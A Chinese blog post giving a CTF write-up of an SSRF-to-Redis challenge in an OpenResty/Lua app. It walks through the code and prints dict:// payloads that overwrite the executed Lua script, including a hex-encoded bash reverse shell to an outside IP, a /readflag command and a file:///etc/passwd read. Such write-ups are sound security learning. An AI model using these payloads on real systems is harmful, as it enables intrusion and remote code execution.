原神怎|

eth258

园龄:1年9个月粉丝:0关注:0

lua_redis_ssrf

CachedVisitor

第一次做redis又不会手法,尽量写详细点

构建项目

本地可以直接在当前目录下build image

docker build .

但是基本build失败的,挂代理

docker build --build-arg "HTTP_PROXY=http://192.168.177.1:7890" .

但是我这么干不行,重启docker也不行,gpt后这么干:

配置 Docker 守护进程的代理

sudo mkdir -p /etc/systemd/system/docker.service.d/

然后在该目录下创建一个 http-proxy.conf 文件:

sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf
添加以下内容://按照自己设置的代理ip来
[Service]
Environment="HTTP_PROXY=http://192.168.177.1:7890"
Environment="HTTPS_PROXY=http://192.168.177.1:7890"
Environment="NO_PROXY=localhost,127.0.0.1"

重新build就行

然后就是查看build得到的image id

docker images

然后运行docker,起内外映射端口,看dockerfile可以知道是内部用了80端口,外部我们随便用一个2222,要指定image id,比如ab8c6792f20d

sudo docker run -d -p 2222:80 --name lua_ssrf ab8c6792f20d

访问本地2222端口就能做题了

大概的代码分析

文件结构

image-20250218163227525

挑几个说说

start.sh

启动redis和openresty服务

  • Redis 服务器 负责后台处理数据存储。
  • OpenResty 负责处理 web 请求,并通过 Nginx 和 Lua 执行相关逻辑。

nginx.conf


events {
    worker_connections 1024;//最大连接数
}

http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;
    
    server {
        listen       80;//监听80端口
        server_name  localhost;
		//根路由
        location / {
            root   html;//根目录是html目录
            index  index.html;//默认首页是index.html
        }
		//visit路由
        location /visit {
            default_type text/plain;
            content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
        }

        lua_code_cache off;
    }
}

main.lua

lua是nginx的轻量脚本语言

//读取指定文件全部内容并返回
local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end

    local content = file:read("*a")
    file:close()
    return content
end
//提取并执行代码块
local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end
//主函数
local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()

redis.conf

搜 strong password字样定位到SECURITY,可以看到并没有任何参数,redis存在空密码

/script/visit.script

##LUA_START##
//加载依赖
local curl = require("cURL")
local redis = require("resty.redis")

//读取请求体以及获取url参数
ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
    ngx.say("URL parameter is missing!")
    return
end

//连接redis
local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
    ngx.say("Failed to connect to Redis: ", err)
    return
end

//检查缓存
local res, err = red:get(url)
if res and res ~= ngx.null then
    ngx.say(res)
    return
end

//使用curl对外请求
local c = curl.easy {//创建一个curl请求
    url = url,
    timeout = 5,
    connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)//请求返回信息

local ok, err = pcall(c.perform, c)//pcall执行curl请求

if not ok then
    ngx.say("Failed to perform request: ", err)
    c:close()
    return
end

c:close()

local response_str = table.concat(response_body)//合并http响应内容为一个字符串

//缓存响应到redis
local ok, err = red:setex(url, 3600, response_str)
if not ok then
    ngx.say("Failed to save response in Redis: ", err)
    return
end

//返回响应
ngx.say(response_str)
##LUA_END##

做题

看到redis,这也是后来才知道,他能玩的点可以无脑dict协议的

首先gpt读代码,可以知道main.lua会读取visit.script中的所有内容并且执行,visit.script做的是一个curl请求并且返回内容。那明眼就是ssrf了。

file读一下看看

file:///etc/passwd

image-20250218200845002

这个也是能读的,但是flag是读不了的

file:///readflag

因为在dockerfile中可以看到,当前用户是不够权限看到的

COPY flag /flag
RUN chmod 400 /flag

那具体思路就明朗了,就是需要用redis覆盖visit.script,来让服务器自己执行并返回内容,那可以直接让服务器执行readflag,或者执行反弹shell

可以看看这篇博客

SSRF---gopher和dict打redis_gopher dict协议攻击redis-CSDN博客

具体payload可以用这两篇文章的

文章 - Lua项目下SSRF利用Redis文件覆盖lua回显RCE - 先知社区

反弹shell

dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config:set:dir:/scripts
dict://127.0.0.1:6379/config:set:dbfilename:visit.script

dict://127.0.0.1:6379/set:a:"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x6f\x73\x2e\x65\x78\x65\x63\x75\x74\x65\x28\x22\x62\x61\x73\x68\x20\x2d\x63\x20\x20\x27\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x34\x2e\x32\x32\x30\x2e\x33\x37\x2e\x31\x37\x33\x2f\x32\x33\x33\x33\x20\x30\x3e\x26\x31\x27\x22\x29\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23"
dict://127.0.0.1:6379/save

第18届软件系统安全大赛攻防赛wp - XU17

直接读取

dict://127.0.0.1:6379/config set dir /scripts
dict://127.0.0.1:6379/config set dbfilename visit.script
dict://127.0.0.1:6379/flushall
//下面是一整句来的,这里不用编码主要是因为他用\n来避免脏数据
dict://127.0.0.1:6379/set shell “\n\n\n##LUA_START##ngx.say(io.popen(‘/readflag’):read(‘*a’))##LUA_END##\n\n\n”
dict://127.0.0.1:6379/save

我们现在直接用第一个payload来

image-20250218204705532

本机接个shell

>nc -lvp 3344
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 192.168.177.131.
Ncat: Connection from 192.168.177.131:59920.
sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
redis.conf
root
run
sbin
scripts
srv
start.sh
sys
tmp
usr
var
$ ./readflag
flag{nice_try}
posted @   eth258  阅读(5)  评论(0编辑  收藏  举报
历史上的今天:
2024-02-18 靶机 Matrix-Breakout 2 Morpheus
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起